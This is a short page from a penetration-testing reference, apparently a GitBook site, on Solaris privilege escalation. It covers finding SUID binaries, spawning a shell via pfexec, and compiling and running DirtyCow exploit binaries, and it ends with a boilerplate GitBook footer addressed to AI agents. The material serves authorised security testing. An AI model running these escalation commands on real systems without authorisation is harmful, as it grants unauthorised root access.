> For the complete documentation index, see [llms.txt](https://infra.newerasec.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://infra.newerasec.com/infrastructure-testing/privilege-esclation/solaris.md). # Solaris ## Exploit Suggester Check for issues using [Exploit Suggester ](/infrastructure-testing/privilege-esclation/automated-tools.md#solaris-exploit-suggester) ## pfexec The pfexec program is used to execute commands with the attributes specified by the user’s profiles in the exec\_attr(4) database. It is invoked by the profile shells, pfsh, pfcsh, and pfksh which are linked to the Bourne shell, C shell, and Korn shell, respectively. If we find SUID binary Find / -perm -u=s -type f 2>/dev/null pfexec bash ![](https://firebasestorage.googleapis.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-M4xwp6Mq18nX8yR4M5z%2Fuploads%2F0AFMrtELlZYPm1lJvIBT%2Ffile.png?alt=media) ## DirtyCow Usage Example For 32 Bit ``` gcc dc32.c -o cowroot -pthread ./cowroot echo 0 > /proc/sys/vm/dirty_writeback_centisecs ``` Usage Example For 64 Bit ``` gcc dc64.c -o cowroot -pthread ./cowroot echo 0 > /proc/sys/vm/dirty_writeback_centisecs ``` ## GTFOBins Consider looking for Sudo misconfiguration as well More information on [GTFOBins](/infrastructure-testing/privilege-esclation/linux.md#sudo-misconfiguration) --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://infra.newerasec.com/infrastructure-testing/privilege-esclation/solaris.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.